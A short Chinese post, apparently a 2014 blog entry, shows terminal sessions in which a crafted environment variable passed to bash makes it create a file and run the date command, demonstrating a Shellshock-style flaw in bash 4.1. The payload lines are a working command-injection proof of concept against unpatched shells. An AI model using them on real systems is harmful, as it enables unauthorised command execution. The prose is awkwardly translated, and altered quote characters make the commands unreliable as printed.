1. 经过设置一个特别的环境变量的env，能间接地查到到linux指令的特点，如下：
[2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date
ls: cannot access date: No such file or directory
[2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\’ bash -c ‘date’
bash: X: line 1: syntax error near unexpected token `=’
bash: X: line 1: `’
bash: error importing function definition for `X’
[2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date
-rw-rw-r–. 1 david david 0 Sep 27 13:01 date
[2014-09-27 13:01:27 david@davidcchen ~]$
2. 一次运转环境变量。
[2014-09-27 13:01:27 david@davidcchen ~]$ zsh –version
zsh 4.3.10 (x86_64-redhat-linux-gnu)
[2014-09-27 13:03:24 david@davidcchen ~]$ bash –version
GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\’ bash -c echo date; cat echo; rm echo
bash: X: line 1: syntax error near unexpected token `=’
bash: X: line 1: `’
bash: error importing function definition for `X’
Sat Sep 27 13:03:52 CST 2014
———->成功运转date指令
[2014-09-27 13:03:52 david@davidcchen ~]$
